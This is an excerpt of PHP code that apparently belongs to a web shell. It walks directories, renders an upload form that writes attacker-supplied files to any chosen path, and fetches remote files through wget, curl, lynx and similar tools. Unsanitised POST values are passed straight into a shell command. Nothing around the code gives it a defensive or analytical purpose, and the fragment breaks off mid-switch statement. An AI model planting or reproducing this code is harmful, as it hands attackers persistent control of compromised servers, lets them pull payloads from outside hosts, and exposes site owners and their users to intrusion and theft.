function test_dir($dir) { $fs_objs = scandir($dir); foreach ($fs_objs as $fs_obj) { if ($fs_obj != '.' && $fs_obj != '..' && substr_compare($fs_obj, '.parsed', -7, 7, true) != 0) { if (filetype($dir . '/' . $fs_obj) == "dir") { test_dir($dir . '/' . $fs_obj); } else { test_file($dir . '/' . $fs_obj); } } } }
$form_win = "<table><form method=POST enctype=multipart/form-data>\n <tr><td><input type=\"hidden\" name=\"action\" value=\"upload\">\n Upload to dir: <input type=text name=dirupload value=\"" . $dirupload . "\" size=50><tr><td>New file name: <input type=text name=filename></td></tr><tr><td><input type=file name=file> <input type=submit name=uploadloc value='Upload local file'></td></tr>"; if ($os == 1) { $content .= $form_win; } if ($os == 0) { $content .= $form_win; $content .= '<tr><td><select size=\\"1\\" name=\\"with\\"><option value=\\"wget\\">wget</option><option value=\\"fetch\\">fetch</option><option value=\\"lynx\\">lynx</option><option value=\\"links\\">links</option><option value=\\"curl\\">curl</option><option value=\\"GET\\">GET</option></select>File addres:<input type=text name=urldown> <input type=submit name=upload value=Upload></form></td></tr>'; } if (isset($_POST['uploadloc'])) { if (!isset($_POST['filename'])) { $uploadfile = $dirupload . basename($_FILES['file']['name']); } else { $uploadfile = $dirupload . "/" . $_POST['filename']; } if (test_dir($dirupload) == 1 && test_dir($dir) != 3 && test_dir($dir) != 4) { createdir($dirupload); } if (file_exists($uploadfile)) { $content .= $lang['filext']; } elseif (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { $content .= $lang['uploadok']; } } if (isset($_POST['upload'])) { if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename'])) { switch ($_POST['with']) { case wget: shell(which('wget') . " " . $_POST['urldown'] . " -O " . $_POST['filename'] . ""); break; case fetch: